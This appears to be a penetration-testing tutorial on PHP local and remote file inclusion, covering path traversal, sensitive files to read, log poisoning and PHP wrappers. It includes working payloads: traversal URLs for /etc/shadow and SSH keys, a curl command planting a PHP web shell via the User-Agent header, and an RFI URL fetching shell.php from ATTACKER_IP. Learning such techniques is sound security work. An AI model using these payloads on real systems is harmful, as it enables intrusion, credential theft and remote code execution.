The Vulnerability
File inclusion flaws happen when a PHP application uses user input to determine which file to include or require. The intended pattern is something like switching between language files based on a URL parameter. The problem is that without strict validation, an attacker controls which file gets included and can walk up the directory tree to read sensitive files anywhere on the system.
http://target.com/index.php?lang=../../../../etc/passwd http://target.com/index.php?page=../../../etc/shadow http://target.com/index.php?file=/etc/hosts
The ../ sequences walk up out of the application directory until you reach a known path. Each ../ moves one level up. Most systems let you use far more ../ sequences than you need without erroring out, so starting with eight or ten is fine.
What to Read First
LFI gives you arbitrary file read on the server. The most interesting targets are files that contain credentials, configuration, or private keys.
/etc/passwd # user list and home directories /etc/shadow # password hashes (if readable) /root/.ssh/id_rsa # root SSH private key /var/www/html/config.php # database credentials /proc/self/environ # environment variables incl. secrets /var/log/apache2/access.log # log file for poisoning
Log Poisoning for RCE
Log poisoning turns a read-only LFI into remote code execution by writing PHP code into a log file that the server will later include. The web server records every request in its access log, including the User-Agent header. If you send a request with a PHP payload as your User-Agent, that payload gets written into the log. When you then include the log file through the LFI, the PHP payload executes.
curl -s http://target.com/ -H "User-Agent: <?php system(\$_GET['cmd']); ?>" http://target.com/index.php?file=../../../../var/log/apache2/access.log&cmd=id
PHP Wrappers
PHP stream wrappers like php://filter/convert.base64-encode/resource= let you read PHP source files that would otherwise execute instead of display. The data:// wrapper can inject and execute inline PHP if allow_url_include is enabled. These wrappers are often overlooked but are frequently available on misonfigured servers.
Remote File Inclusion
Remote file inclusion works like LFI except you point the include path at a URL you control instead of a local file. The server fetches and executes your remote PHP file. This requires the allow_url_include PHP directive to be enabled, which is off by default in modern PHP but was on by default in older versions. It's rare but still shows up.
http://target.com/index.php?page=http://ATTACKER_IP/shell.php
When RFI is available, it's arguably cleaner than log poisoning because you control the payload file directly. You can serve any PHP code you want from your listener and the target server fetches and executes it on demand.